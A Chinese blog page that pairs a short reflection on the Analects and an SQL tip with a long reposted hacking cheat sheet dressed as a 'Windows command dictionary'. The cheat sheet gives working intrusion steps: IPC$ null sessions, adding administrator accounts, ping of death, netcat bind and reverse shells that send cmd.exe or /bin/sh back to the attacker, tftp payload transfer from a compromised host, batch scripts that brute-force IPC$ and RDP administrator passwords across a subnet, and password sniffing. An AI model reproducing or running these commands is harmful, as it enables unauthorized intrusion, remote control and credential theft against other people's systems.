四書又稱為四子書，是指《論語》、《孟子》、《大學》和《中庸》。
儒家奉《周易》、《尚書》、《詩經》、《禮記》、《春秋》為《五經》。
朱熹認為「先讀《大學》，以定其規模；次讀《論語》，以定其根本；次讀《孟子》，以觀其發越；次讀《中庸》，以求古人之微妙處」。並曾說「《四子》，《六經》之階梯」。
2011年11月24日 星期四
學而時習之，不亦說乎？
讀了劉力紅先生的「思考中醫」，其中談到做學問的方法，劉先生說孔子已把做學問的方法說的很清楚了：
子曰：「學而時習之，不亦說乎？」
「有朋自遠方來，不亦樂乎？」
「人不知而不慍，不亦君子乎？」
第一句話是講學習一定要有學樂，有樂才能堅持下去，否則「學海無涯苦做舟」，這麼苦怎麼能堅持下去呢？
第二句話，鄭玄說：「同師為朋，同志為友」，是說拜在同一老師門下的人為朋，志同道合的人為友。因此「有朋自遠方來」指的是有學習相同學問的人從遠方來拜訪，可以互相交流學習，當然會覺得很快樂了。
第三句話講的是學成以後，沒人知道，心裡也不會覺得不滿、不高興，這樣的人不是君子嗎？
子曰：「學而時習之，不亦說乎？」
「有朋自遠方來，不亦樂乎？」
「人不知而不慍，不亦君子乎？」
第一句話是講學習一定要有學樂，有樂才能堅持下去，否則「學海無涯苦做舟」，這麼苦怎麼能堅持下去呢？
第二句話，鄭玄說：「同師為朋，同志為友」，是說拜在同一老師門下的人為朋，志同道合的人為友。因此「有朋自遠方來」指的是有學習相同學問的人從遠方來拜訪，可以互相交流學習，當然會覺得很快樂了。
第三句話講的是學成以後，沒人知道，心裡也不會覺得不滿、不高興，這樣的人不是君子嗎？
2011年11月23日 星期三
用逗號合併多筆資料的某一欄位
這一招還蠻好用的
SELECT n_sec_code, wmsys.wm_concat (c_researcher_code) as result
FROM m_researcher_stock_rel
GROUP BY n_sec_code
引用自:http://www.cnblogs.com/heekui/archive/2009/07/30/1535516.html
SELECT n_sec_code, wmsys.wm_concat (c_researcher_code) as result
FROM m_researcher_stock_rel
GROUP BY n_sec_code
引用自:http://www.cnblogs.com/heekui/archive/2009/07/30/1535516.html
2011年11月14日 星期一
[轉貼][分享]Windows命令字典
[轉貼][分享]Windows命令字典
net use \\ip\ipc$ " " /user:" " 建立IPC空鏈結
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈結
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C：到本地為H:
net use h: \\ip\c$ 登陸後映射對方C：到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈結
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 啟動guest用戶
net user 檢視有哪些用戶
net user 帳戶名 檢視帳戶的屬性
net localgroup administrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員許可權,注意：administrator後加s用複數
net start 檢視開啟了哪些服務
net start 服務名 開啟服務；(如:net start telnet， net start schedule)
net stop 服務名 停止某服務
net time \\目標ip 檢視對方時間
net time \\目標ip /set 設定本地計算機時間與“目標IP”主機的時間同步,加上參數/yes可取消確認資訊
net view 檢視本地局域網內開啟了哪些共用
net view \\ip 檢視對方局域網內開啟了哪些共用
net config 顯示系統網路設定
net logoff 斷開連接的共用
net pause 服務名 暫停某服務
net send ip "文本資訊" 向對方發資訊
net ver 局域網內正在使用的網路連接類型和資訊
net share 檢視本地開啟的共用
net share ipc$ 開啟ipc$共用
net share ipc$ /del 刪除ipc$共用
net share c$ /del 刪除C：共用
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 檢視開啟了哪些埠,常用netstat -an
netstat -n 檢視埠的網路連接情況，常用netstat -an
netstat -v 檢視正在進行的工作
netstat -p 協議名 例：netstat -p tcq/ip 檢視某協定使用情況（檢視tcp/ip協定使用情況）
netstat -s 檢視正在使用的所有協定使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話，就可檢視對方最近登陸的用戶名（03前的為用戶名）-注意：參數-A要大寫
tracert -參數 ip(或電腦名) 跟蹤路由（資料包），參數：“-w數位”用於設定超時間隔。
ping ip(或功能變數名稱) 向對方主機發送預設大小為32位元組的資料，參數：“-l[空格]數據包大小”；“-n發送資料次數”；“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的檔案並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)檢視本地ip地址，ipconfig可用參數“/all”顯示全部配置資訊
tlist -t 以樹行列表顯示進程(為系統的附加工具，預設是沒有安裝的，在安裝目錄的Support/tools資料夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具，預設是沒有安裝的，在安裝目錄的Support/tools資料夾內)
del -F 檔案名 加-F參數後就可刪除唯讀檔案,/AR、/AH、/AS、/AA分別表示刪除唯讀、隱藏、系統、存檔案檔案，/A-R、/A-H、/A-S、/A-A表示刪除除唯讀、隱藏、系統、存檔案以外的檔案。例如“DEL/AR *.*”表示刪除當前目錄下所有唯讀檔案，“DEL/A-S *.*”表示刪除當前目錄下除系統檔案以外的所有檔案
#2 二：
del /S /Q 目錄 或用：rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和檔案。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。（二個命令作用相同）
move 盤符\路徑\要移動的檔案名 存放移動檔案的路徑\移動後檔案名 移動檔案,用參數/y將取消確認移動目錄存在相同檔案的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個檔案並把不同之處輸出到3st.txt文件中，"> "和"> >" 是重定向命令
at id號 開啟已註冊的某個計畫任務
at /delete 停止所有計劃任務，用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已註冊的計畫任務
at 檢視所有的計畫任務
at \\ip time 程式名(或一個命令) /r 在某時間執行對方某程式並重新啟動電腦
finger username @host 檢視最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,預設埠為23
open ip 連接到IP（屬telnet登陸後的命令）
telnet 在本機上直接鍵入telnet 將進入本機的telnet
copy 路徑\檔案名1 路徑\檔案名2 /y 複製檔案1到指定的目錄為檔案2，用參數/y就同時取消確認你要改寫一份現存目錄檔案
copy c:\srv.exe \\ip\admin$ 複製本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的檔案，注：2st.txt文件頭要空三排，參數：/b指二進位檔案，/a指ASCLL格式檔案
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 複製對方admini$共用下的srv.exe檔案（所有檔案）至本地C：
xcopy 要複製的檔案或目錄樹 目標位址\目錄名 複製檔案和目錄樹，用參數/Y將不提示覆蓋相同檔案
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後，將“IP”的server.exe下載到目標主機c:\server.exe 參數：-i指以二進位模式傳送，如傳送exe檔案時用，如不加-i 則以ASCII模式（傳送文字檔案模式）進行傳送
tftp -i 對方IP put c:\server.exe 登陸後，上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳檔案至伺服器或進行檔案操作，預設埠為21。bin指用二進位方式傳送（可執行檔案進）；預設為ASCII格式傳送(文字檔案時)
route print 顯示出IP路由，將主要顯示網路位址Network addres，子網路遮罩Netmask，閘道位址Gateway addres，介面位址Interface
arp 檢視和處理ARP緩存，ARP是名字解析的意思，負責把一個IP解析成一個物理性的MAC位址。arp -a將顯示出全部資訊
start 程式名或命令 /max 或/min 新開一個新視窗並最大化（最小化）執行某程式或命令
mem 檢視cpu使用情況
attrib 檔案名(目錄名) 檢視某檔案（目錄）的屬性
attrib 檔案名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某檔案的 存檔案，唯讀，系統，隱藏 屬性；用＋則是添加為某屬性
dir 檢視文件，參數：/Q顯示檔案及目錄屬系統哪個用戶，/T:C顯示檔案創建時間，/T:A顯示檔案上次被訪問時間，/T:W上次被修改時間
date /t 、 time /t 使用此參數即“DATE/T”、“TIME/T”將只顯示當前日期和時間，而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設定環境變數
set 顯示當前所有的環境變數
set p(或其他字元) 顯示出當前以字元p(或其他字元)開頭的所有環境變數
pause 暫停批次處理程式，並顯示出：請按任意鍵繼續....
if 在批次處理程式中執行條件處理（更多說明見if命令及變數）
goto 標籤 將cmd.exe導向到批次處理程式中帶標籤的行（標籤必須單獨一行，且以冒號打頭，例如：“：start”標籤）
call 路徑\批次檔案名 從批次處理程式中調用另一個批次處理程式 （更多說明見call /?）
for 對一組檔案中的每一個檔案執行某個特定命令（更多說明見for命令及變數）
echo on或off 打開或關閉echo，僅用echo不加參數則顯示當前echo設定
echo 資訊 在螢幕上顯示出資訊
echo 信息 >> pass.txt 將"資訊"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt檔案中尋找字串hello
find 檔案名 查找某檔案
title 標題名字 更改CMD窗口標題名字
color 顏色值 設定cmd控制臺前景和背景顏色；0＝黑、1＝藍、2＝綠、3＝淺綠、4＝紅、5＝紫、6＝黃、7=白、8=灰、9=淡藍、A＝淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為：EntSky\ )
#3 三：
ver 在DOS視窗下顯示版本資訊
winver 彈出一個視窗顯示版本資訊（記憶體大小、系統版本、補丁版本、電腦名）
format 盤符 /FS:類型 格式化磁片,類型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md 目錄名 創建目錄
replace 原始檔案 要替換檔案的目錄 替換檔案
ren 原檔案名 新檔案名 重命名檔案名
tree 以樹形結構顯示出目錄，用參數-f 將列出第個資料夾中檔案名稱
type 檔案名 顯示文字檔案的內容
more 檔案名 逐屏顯示輸出檔案
doskey 要鎖定的命令＝字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行，重新調用win2k命令，並創建宏)。如：鎖定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解鎖：doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁片D並顯示狀態報告；加參數/f並修復磁片上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3，再選擇8,就可以更改telnet服務預設埠23為其他任何埠
exit 退出cmd.exe程式或目前，用參數/B則是退出當前批次處理腳本而不是cmd.exe
path 路徑\可執行檔案的檔案名 為可執行檔案設定一個路徑。
cmd 啟動一個win2K命令解釋視窗。參數：/eff、/en 關閉、開啟命令擴展；更我詳細說明見cmd /?
regedit /s 註冊表檔案名 導入註冊表；參數/S指安靜模式導入，無任何提示；
regedit /e 註冊表檔案名 導出註冊表
cacls 檔案名 參數 顯示或修改檔案訪問控制列表（ACL）——針對NTFS格式時。參數：/D 用戶名:設定拒絕某用戶訪問；/P 用戶名:perm 替換指定用戶的訪問許可權；/G 用戶名:perm 賦予指定用戶訪問許可權；Perm 可以是: N 無，R 讀取， W 寫入， C 更改(寫入)，F 完全控制；例：cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 檔案名 檢視檔案的訪問用戶許可權列表
REM 文本內容 在批次檔案中添加注解
netsh 檢視或更改本地網路配置情況
#4 四：
IIS服務命令：
iisreset /reboot 重啟win2k電腦（但有提示系統將重啟資訊出現）
iisreset /start或stop 啟動（停止）所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用（禁用）Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時，若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務，將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間（秒）時，仍未停止Internet服務，若指定/rebootonerror參數，則電腦將會重新開機。預設值為重新啟動20秒，停止60秒，重新開機0秒。
FTP 命令： (後面有詳細說明內容)
ftp的命令行格式為:
ftp －v －d －i －n －g[主機名] －v 顯示遠端伺服器的所有回應資訊。
－d 使用調試方式。
－n 限制ftp的自動登錄,即不使用.netrc文件。
－g 取消全局檔案名。
help [命令] 或 ？[命令] 檢視命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地檔案名 [上傳到主機上的檔案名] 將本地一個檔案傳送至遠端主機中
get 或 recv [遠端主機檔案名] [下載到本地後的檔案名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批檔案至本地主機
mput local-files 將本地主機中一批檔案傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的檔案.如果有本地檔案,就將結果寫至本地檔案
ascii 設定以ASCII方式傳送檔案(缺省值)
bin 或 image 設定以二進位方式傳送檔案
bell 每完成一次檔案傳送,報警提示
cdup 返回上一級目錄
close 中斷與遠端伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的檔案
mdelete [remote-files] 刪除一批檔案
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的檔案名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義巨集命令
lcd 改變當前本地主機的工作目錄,如果缺省,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的檔案許可權
case 當為ON時,用MGET命令拷貝的檔案名到本地機器中,全部轉換為小寫字母
cd remote－dir 進入遠端主機目錄
cdup 進入遠端主機目錄的父目錄
! 在本地機中執行交互shell，exit回到ftp環境,如!ls＊.zip
#5 五：
MYSQL 命令：
mysql -h主機位址 -u用戶名 －p密碼 連接MYSQL;如果剛安裝好MYSQL，超級用戶root是沒有密碼的。
（例：mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格，其他也一樣）
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。（注意：和上面不同，下面的因為是MYSQL環境中的命令，所以後面都帶一個分號作為命令結束符）
show databases; 顯示資料庫列表。剛開始時才兩個資料庫：mysql和test。mysql庫很重要它裏面有MYSQL的系統資訊，我們改密碼和新增用戶，實際上就是用這個庫進行操作。
use mysql；
show tables; 顯示庫中的資料表
describe 表名; 顯示資料表的結構
create database 庫名; 建庫
use 庫名；
create table 表名 (欄位設定列表)； 建表
drop database 庫名;
drop table 表名； 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqldump --opt school>school.bbb 備份資料庫：（命令在DOS的\\mysql\\bin目錄下執行）;注釋:將資料庫school備份到school.bbb文件，school.bbb是一個文字檔案，檔案名任取，打開看看你會有新發現。
win2003系統下新增命令（實用部份）：
shutdown /參數 關閉或重啟本地或遠端主機。
參數說明：/S 關閉主機，/R 重啟主機， /T 數位 設定延時的時間，範圍0～180秒之間， /A取消開機，/M //IP 指定的遠端主機。
例：shutdown /r /t 0 立即重啟本地主機（無延時）
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明：/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid，/IM 要終止的進程的進程名，/F 強制終止進程，/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前執行在本地和遠端主機上的進程、服務、服務各進程的進程識別字(PID)。
參數說明：/M 列出當前進程載入的dll檔案，/SVC 顯示出每個進程對應的服務，無參數時就只列出當前的進程。
#6 六：
Linux系統下基本命令： 要區分大小寫
uname 顯示版本資訊（同win2K的 ver）
dir 顯示當前目錄檔案,ls -al 顯示包括隱藏檔案（同win2K的 dir）
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄，注意cd 與..之間有空格。cd /返回到根目錄。
cat 檔案名 檢視檔案內容
cat >abc.txt 往abc.txt檔案中寫上內容。
more 檔案名 以一頁一頁的方式顯示一個文字檔案。
cp 複製檔案
mv 移動文件
rm 檔案名 刪除檔案，rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄，目錄內沒有文檔案。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字串
diff 檔案檔案比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 檢視自己的帳號名稱
groups 檢視某人的Group
passwd 更改密碼
history 檢視自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 駭客通常用它來編譯C語言寫的檔案
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機（同win2K），當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器（同win2K）
附：批次處理命令與變數
1：for命令及變數 基本格式：
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數，如：%i ，而指定一個變數則用：%%i ，而調用變數時用：%i% ，變數是區分大小寫的（%i 不等於 %I）。
批次處理每次能處理的變數從%0—%9共10個，其中%0預設給批次檔案名使用，%1預設為使用此批次處理時輸入的的第一個值，同理：%2—%9指輸入的第2-9個值；例：net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3
(set):指定一個或一組檔案，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一個"1"指起始值，第二個"1"指增長量，第三個"254"指結束值，即：從1到254；“(1 -1 254)”說明：即從254到1 }
command：指定對第個檔案執行的命令，如：net use命令；如要執行多個命令時，命令這間加：& 來隔開
command_parameters：為特定命令指定參數或命令行開關
IN (set)：指在(set)中取值；DO command ：指執行command
參數：/L 指用增量形式{ (set)為增量形式時 }；/F 指從文件中不斷取值，直到取完為止{ (set)為文件時，如(d:\pass.txt)時 }。
用法舉例：
@echo off
echo 用法格式：test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明：對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接，如果成功就把該IP存在test.txt中。
/L指用增量形式（即從1-254或254-1）；輸入的IP前面三位：*.*.*為批次處理預設的 %1；%%G 為變數(ip的最後一位）；& 用來隔開echo 和net use 這二個命令；| 指建立了ipc$後，在結果中用find檢視是否有"命令成功完成"資訊；%1.%%G 為完整的IP地址；(1 1 254) 指起始值，增長量，結止值。
@echo off
echo 用法格式：ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為：ok.exe 說明：輸入一個IP後，用字典檔案d:\pass.dic來暴解d:\user.dic中的用戶密碼，直到檔案中值取完為止。%%i為用戶名；%1為輸入的IP位址（預設）。
#7 七：
2：if命令及變數 基本格式：
IF [not] errorlevel 數字 命令語句 如果程式執行最後返回一個等於或大於指定數位的退出編碼，指定條件為“真”。
例：IF errorlevel 0 命令 指程式執行後返回的值為0時，就值行後面的命令；IF not errorlevel 1 命令指程式執行最後返回的值不等於1，就執行後面的命令。
0 指發現並成功執行（真）；1 指沒有發現、沒執行（假）。
IF [not] 字串1==字串2 命令語句 如果指定的文本字串匹配（即：字串1 等於 字串2），就執行後面的命令。
例：“if "%2%"=="4" goto start”指：如果輸入的第二個變數為4時，執行後面的命令（注意：調用變數時就%變數名%並加" "）
IF [not] exist 檔案名 命令語句 如果指定的檔案名存在，就執行後面的命令。
例：“if not nc.exe goto end”指：如果沒有發現nc.exe文件就跳到":end"標籤處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字串1==字串2 命令語句 else 命令語句或 IF [not] exist 檔案名 命令語句 else 命令語句 加上：else 命令語句後指：當前面的條件不成立時，就指行else後面的命令。注意：else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來，因為del命令要單獨一行時才能執行，用上< >後就等於是單獨一行了；例如：“if exist test.txt. else echo test.txt.missing ”，注意命令中的“.”
（二）系統外部命令(均需下載相關工具)：
1、瑞士軍刀：nc.exe
參數說明：
-h 檢視幫助資訊
-d 後臺模式
-e prog程式重定向，一但連接就執行［危險］
-i secs延時的間隔
-l 監聽模式，用於入站連接
-L 監聽模式，連接天閉後仍然繼續監聽，直到CTR+C
-n IP位址，不能用功能變數名稱
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠端埠
-t 使用Telnet對話模式
-u UDP模式
-v 詳細輸出，用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入，輸出關掉（用於掃錨時）
基本用法：
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
進階用法：
nc -L -p 80 作為蜜罐用1：開啟並不停地監聽80埠，直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2：開啟並不停地監聽80埠，直到CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1：開啟並不停地監聽80埠，直到CTR+C,並把c:\honeyport.txt中內容送入管道中，亦可起到傳送檔案作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2：開啟並不停地監聽80埠，直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送檔案作用
本機上用：nc -l -p 本機埠
在對方主機上用：nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用：nc -d -l -p 本機埠 < 要傳送的檔案路徑及名稱
在對方主機上用：nc -vv 本機IP 本機埠 > 存放檔案的路徑及名稱 傳送檔案到對方主機
備 注：
| 管道命令
< 或 > 重定向命令。“<”，例如：tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
＠ 表示執行＠後面的命令，但不會顯示出來（後臺執行）；例：＠dir c:\winnt >> d:\log.txt 意思是：後臺執行dir，並把結果存在d:\log.txt中
>與>>的區別 ">"指：覆蓋；">>"指：保存到(添加到）。
如：@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看：用>>的則是把二次的結果都保存了，而用：>則只有一次的結果，是因為第二次的結果把第一次的覆蓋了。
#8 八：
2、掃錨工具：xscan.exe
基本格式
xscan -host <起始IP>[-<終止IP>] <檢測專案> [其他選項] 掃錨"起始IP到終止IP"段的所有主機資訊
xscan -file <主機列表檔案名> <檢測專案> [其他選項] 掃錨"主機IP列表檔案名"中的所有主機資訊
檢測項目
-active 檢測主機是否存活
-os 檢測遠端作業系統類型（通過NETBIOS和SNMP協議）
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其他選項
-i 適配器編號 設定網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有回應的主機
-o 跳過沒有檢測到開放埠的主機
-t 併發線程數量,併發主機數量 指定最大併發線程數量和併發主機數量, 預設數量為100,10
-log 檔案名 指定掃描報告檔案名 (尾碼為：TXT或HTML格式的檔案)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞，跳過無回應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標準埠狀態，NT弱口令用戶，最大併發線程數量為150，跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測“hostlist.txt”檔案中列出的所有主機的標準埠狀態，CGI漏洞，最大併發線程數量為200，同一時刻最多檢測5台主機，顯示詳細檢測進度，跳過沒有檢測到開放埠的主機
#9 九：
3、命令行方式嗅探器: xsniff.exe
可捕獲局域網內FTP/SMTP/POP3/HTTP協定密碼
參數說明
-tcp 輸出TCP資料報
-udp 輸出UDP資料報
-icmp 輸出ICMP資料報
-pass 過濾密碼資訊
-hide 後臺執行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 檔案名 將輸出保存到檔案
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後臺執行嗅探密碼並將密碼資訊保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp資訊並以ASCII格式輸出
4、終端服務密碼破解: tscrack.exe
參數說明
-h 顯示使用幫助
-v 顯示版本資訊
-s 在螢幕上打出解密能力
-b 密碼錯誤時發出的聲音
-t 同是發出多個連接（多線程）
-N Prevent System Log entries on targeted server
-U 卸載移除tscrack組件
-f 使用－f後面的密碼
-F 間隔時間（頻率）
-l 使用－l後面的用戶名
-w 使用－w後面的密碼字典
-p 使用－p後面的密碼
-D 登錄主頁面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 遠端用密碼字典檔案暴破主機的administrator的登陸密碼
tscrack 192.168.0.1 -l administrator -p 123456 用密碼123456遠端登陸192.168.0.1的administrator用戶
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存為3389.bat) （假設現有用SuperScan或其他掃錨器掃到一批開有3389的主機IP列表檔案3389.txt)
3389.bat意思是：從3389.txt檔案中取一個IP，接著執行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存為hack.bat) (執行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic與tscrack.exe在同一個目錄下；就可以等待結果了)
hack.bat意思是：執行tscrack.exe用字典暴破3389.txt中所有主機的administrator密碼，並將破解結果保存在rouji.txt文件中。
5、其他：
Shutdown.exe
Shutdown \\IP地址 t:20 20秒後將對方NT自動關閉（Windows 2003系統自帶工具，在Windows2000下用進就得下載此工具才能用。在前面Windows 2003 DOS命令中有詳細介紹。）
fpipe.exe (TCP埠重定向工具) 在第二篇中有詳細說明（埠重定向繞過防火牆）
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 當有人掃錨你的80埠時，他掃到的結果會完全是www.sina.com.cn的主機資訊
Fpipe -l 23 -s 88 -r 23 目標IP 把本機向目標IP發送的23埠Telnet請求經埠重定向後，就通過88埠發送到目標IP的23埠。（與目標IP建立Telnet時本機就用的88埠與其相連接）然後：直接Telnet 127.0.0.1（本機IP）就連接到目標IP的23埠了。
OpenTelnet.exe (遠端開啟telnet工具)
opentelnet.exe \\IP 帳號 密碼 ntlm認證方式 Telnet埠 （不需要上傳ntlm.exe破壞微軟的身份驗證方式）直接遠端開啟對方的telnet服務後，就可用telnet \\ip 連接上對方。
NTLM認證方式：０：不使用NTLM身份驗證；１：先嘗試NTLM身份驗證，如果失敗，再使用用戶名和密碼；２：只使用NTLM身份驗證。
ResumeTelnet.exe (OpenTelnet附帶的另一個工具)
resumetelnet.exe \\IP 帳號 密碼 用Telnet連接完對方後，就用這個命令將對方的Telnet設定還原，並同時關閉Telnet服務。
#10 十：
6、FTP命令詳解：
FTP命令是Internet用戶使用最頻繁的命令之一，熟悉並靈活應用FTP的內部命令，可以大大方便使用者，並收到事半功倍之效。如果你想學習使用進行後臺FTP下載，那麼就必須學習FTP指令。
FTP的命令行格式為：
ftp -v -d -i -n -g [主機名] ，其中
-v 顯示遠端伺服器的所有回應資訊；
-n 限制ftp的自動登錄，即不使用；.n etrc文件；
-d 使用調試方式；
-g 取消全局檔案名。
FTP使用的內部命令如下(中括弧表示可選項):
1.![cmd[args]]：在本地機中執行交互shell，exit回到ftp環境，如：!ls*.zip
2.$ macro-ame[args]： 執行巨集定義macro-name。
3.account[password]： 提供登錄遠端系統成功後訪問系統資源所需的補充口令。
4.append local-file[remote-file]：將本地檔案追加到遠端系統主機，若未指定遠端系統檔案名，則使用本地檔案名。
5.ascii：使用ascii類型傳輸方式。
6.bell：每個命令執行完畢後電腦響鈴一次。
7.bin：使用二進位檔案傳輸方式。
8.bye：退出ftp會話過程。
9.case：在使用mget時，將遠端主機檔案名中的大寫轉為小寫字母。
10.cd remote-dir：進入遠端主機目錄。
11.cdup：進入遠端主機目錄的父目錄。
12.chmod mode file-name：將遠端主機檔案file-name的存取方式設定為mode，如：chmod 777 a.out。
13.close：中斷與遠端伺服器的ftp會話(與open對應)。
14.cr：使用asscii方式傳輸檔案時，將回車換行轉換為回行。
15.delete remote-file：刪除遠端主機檔案。
16.debug[debug-value]：設定調試方式， 顯示發送至遠端主機的每條命令，如：deb up 3，若設為0，表示取消debug。
17.dir[remote-dir][local-file]：顯示遠端主機目錄，並將結果存入本地檔案。
18.disconnection：同close。
19.form format：將檔案傳輸方式設定為format，缺省為file方式。
20.get remote-file[local-file]： 將遠端主機的檔案remote-file傳至本地硬碟的local-file。
21.glob：設定mdelete，mget，mput的檔案名擴展，缺省時不擴展檔案名，同命令行的-g參數。
22.hash：每傳輸1024位元組，顯示一個hash符號(#)。
23.help[cmd]：顯示ftp內部命令cmd的幫助資訊，如：help get。
24.idle[seconds]：將遠端伺服器的休眠計時器設為[seconds]秒。
25.image：設定二進位傳輸方式(同binary)。
